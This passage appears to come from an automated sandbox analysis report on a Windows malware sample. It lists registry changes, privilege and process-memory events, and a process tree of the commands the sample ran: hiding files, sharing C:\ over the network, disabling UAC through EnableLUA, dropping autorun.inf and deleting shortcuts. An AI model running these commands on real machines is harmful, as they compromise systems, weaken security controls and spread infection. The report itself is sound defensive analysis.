Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
592	cmd.exe
5240	reg.exe

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	cmd.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	cmd.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Network\SharingHandler	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Network\SharingHandler\	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2500 wrote to memory of 3476	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	85
PID 2500 wrote to memory of 3476	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	85
PID 2500 wrote to memory of 3476	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	85
PID 2500 wrote to memory of 3588	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	86
PID 2500 wrote to memory of 3588	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	86
PID 2500 wrote to memory of 3588	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	86
PID 2500 wrote to memory of 1596	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	87
PID 2500 wrote to memory of 1596	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	87
PID 2500 wrote to memory of 1596	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	87
PID 2500 wrote to memory of 4936	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	88
PID 2500 wrote to memory of 4936	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	88
PID 2500 wrote to memory of 4936	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	88
PID 2500 wrote to memory of 3944	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	89
PID 2500 wrote to memory of 3944	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	89
PID 2500 wrote to memory of 3944	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	89
PID 2500 wrote to memory of 3312	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	91
PID 2500 wrote to memory of 3312	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	91
PID 2500 wrote to memory of 3312	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	91
PID 2500 wrote to memory of 2088	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	92
PID 2500 wrote to memory of 2088	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	92
PID 2500 wrote to memory of 2088	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	92
PID 2500 wrote to memory of 5056	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	93
PID 2500 wrote to memory of 5056	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	93
PID 2500 wrote to memory of 5056	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	93
PID 2500 wrote to memory of 1496	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	94
PID 2500 wrote to memory of 1496	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	94
PID 2500 wrote to memory of 1496	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	94
PID 2500 wrote to memory of 1192	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	95
PID 2500 wrote to memory of 1192	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	95
PID 2500 wrote to memory of 1192	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	95
PID 2500 wrote to memory of 2136	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	96
PID 2500 wrote to memory of 2136	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	96
PID 2500 wrote to memory of 2136	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	96
PID 2500 wrote to memory of 3920	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	97
PID 2500 wrote to memory of 3920	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	97
PID 2500 wrote to memory of 3920	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	97
PID 2500 wrote to memory of 4552	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	98
PID 2500 wrote to memory of 4552	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	98
PID 2500 wrote to memory of 4552	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	98
PID 2500 wrote to memory of 1728	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	99
PID 2500 wrote to memory of 1728	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	99
PID 2500 wrote to memory of 1728	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	99
PID 2500 wrote to memory of 1036	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	100
PID 2500 wrote to memory of 1036	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	100
PID 2500 wrote to memory of 1036	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	100
PID 2500 wrote to memory of 4408	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	101
PID 2500 wrote to memory of 4408	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	101
PID 2500 wrote to memory of 4408	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	101
PID 2500 wrote to memory of 2304	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	102
PID 2500 wrote to memory of 2304	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	102
PID 2500 wrote to memory of 2304	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	102
PID 2500 wrote to memory of 2084	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	103
PID 2500 wrote to memory of 2084	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	103
PID 2500 wrote to memory of 2084	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	103
PID 2500 wrote to memory of 2568	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	104
PID 2500 wrote to memory of 2568	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	104
PID 2500 wrote to memory of 2568	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	104
PID 2500 wrote to memory of 2000	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	105
PID 2500 wrote to memory of 2000	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	105
PID 2500 wrote to memory of 2000	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	105
PID 2500 wrote to memory of 3112	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	106
PID 2500 wrote to memory of 3112	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	106
PID 2500 wrote to memory of 3112	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	106
PID 2500 wrote to memory of 3016	2500	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	107

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Views/modifies file attributes 1 TTPs 11 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5296	attrib.exe
5260	attrib.exe
5504	attrib.exe
5284	attrib.exe
896	attrib.exe
5392	attrib.exe
5600	attrib.exe
5592	attrib.exe
5580	attrib.exe
5532	attrib.exe
864	attrib.exe

C:\Windows\system32\fontdrvhost.exe
"fontdrvhost.exe"
1⤵
PID:792

C:\Windows\system32\fontdrvhost.exe
"fontdrvhost.exe"
1⤵
PID:800

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:412

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2880

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
PID:2976

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3432
- C:\Users\Admin\AppData\Local\Temp\c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
  "C:\Users\Admin\AppData\Local\Temp\c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe"
  2⤵
  - Modifies firewall policy service
  - UAC bypass
  - Windows security bypass
  - Windows security modification
  - Checks whether UAC is enabled
  - Enumerates connected drives
  - Drops autorun.inf file
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2500
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H "C:\Users\Admin\AppData\Local\Temp\c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N"
    3⤵
    PID:3476
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3044
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H "C:\Users\Admin\AppData\Local\Temp\c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:864
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c start /b /max .
    3⤵
    - Modifies registry class
    PID:3588
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2592
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c tskill taskmagr
    3⤵
    PID:1596
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4992
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c cd C:\ & del *.lnk
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4936
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4256
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net share SYS_C$=C:\
    3⤵
    PID:3944
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3040
  - - C:\Windows\SysWOW64\net.exe
      net share SYS_C$=C:\
      4⤵
      PID:5268
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 share SYS_C$=C:\
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5356
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c MKDIR "C:\Program File"
    3⤵
    PID:3312
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1772
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c MKDIR "C:\Program File\Microsoft"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2088
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2008
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c COPY "C:\Users\Admin\AppData\Local\Temp\c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe" "C:\Program File\Microsoft\MicrosoftSafety.exe"
    3⤵
    PID:5056
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3812
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H "C:\Program File"
    3⤵
    PID:1496
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1020
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H "C:\Program File"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:5504
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H "C:\Program File\Microsoft"
    3⤵
    PID:1192
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4672
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H "C:\Program File\Microsoft"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:5580
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H C:\C0MM
    3⤵
    PID:2136
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1776
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H C:\C0MM
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:5600
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H C:\C0MM\C0MM
    3⤵
    PID:3920
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1516
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H C:\C0MM\C0MM
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:5260
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib -r -a C:\autorun.inf
    3⤵
    PID:4552
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2688
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -r -a C:\autorun.inf
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:5532
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +h +r C:\autorun.inf
    3⤵
    PID:1728
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3128
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h +r C:\autorun.inf
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      Views/modifies file attributes
      PID:5284
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c cd F:\ & del *.lnk
    3⤵
